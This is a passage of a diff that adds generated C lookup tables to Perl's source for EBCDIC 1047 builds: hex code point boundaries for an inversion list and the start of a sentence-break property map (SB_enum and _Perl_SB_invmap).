+	0xA90A,
+	0xA926,
+	0xA92E,
+	0xA92F,
+	0xA930,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9C8,
+	0xA9CA,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA37,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5D,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF0,
+	0xAAF2,
+	0xAAF5,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE17,
+	0xFE19,
+	0xFE20,
+	0xFE30,
+	0xFE31,
+	0xFE33,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE50,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE5F,
+	0xFE63,
+	0xFE64,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF1F,
+	0xFF20,
+	0xFF21,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF41,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF65,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFF9,
+	0xFFFC,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x10428,
+	0x10450,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A56,
+	0x10A58,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x11049,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11141,
+	0x11144,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111C7,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111DE,
+	0x111E0,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112AA,
+	0x112B0,
+	0x112DF,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x1144D,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x115DC,
+	0x115DE,
+	0x11600,
+	0x11630,
+	0x11641,
+	0x11643,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116AB,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x1173C,
+	0x1173F,
+	0x118A0,
+	0x118C0,
+	0x118E0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C41,
+	0x11C43,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16AF6,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B39,
+	0x16B40,
+	0x16B44,
+	0x16B45,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA88,
+	0x1DA89,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E922,
+	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x1F676,
+	0x1F679,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	SB_Other = 0,
+	SB_ATerm = 1,
+	SB_CR = 2,
+	SB_Close = 3,
+	SB_Extend = 4,
+	SB_Format = 5,
+	SB_LF = 6,
+	SB_Lower = 7,
+	SB_Numeric = 8,
+	SB_OLetter = 9,
+	SB_SContinue = 10,
+	SB_STerm = 11,
+	SB_Sep = 12,
+	SB_Sp = 13,
+	SB_Upper = 14,
+	SB_EDGE = 15
+} SB_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 1047 */
+	SB_Other,
+	SB_Sp,
+	SB_Other,
+	SB_Sp,
+	SB_CR,
+	SB_Other,
+	SB_LF,
+	SB_Other,
+	SB_Sep,
+	SB_Other,
+	SB_Sp,
+	SB_Lower,
+	SB_Other,
+	SB_ATerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Lower,
 	SB_STerm,
 	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
 	SB_STerm,
+	SB_Lower,
+	SB_Upper,
 	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Upper,
+	SB_Lower,
+	SB_Close,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Close,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Upper,
+	SB_Format,
+	SB_Lower,
+	SB_Close,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Numeric,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
 	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
 	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
 	SB_Other,
+	SB_Upper,
 	SB_Lower,
 	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
 	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Format,
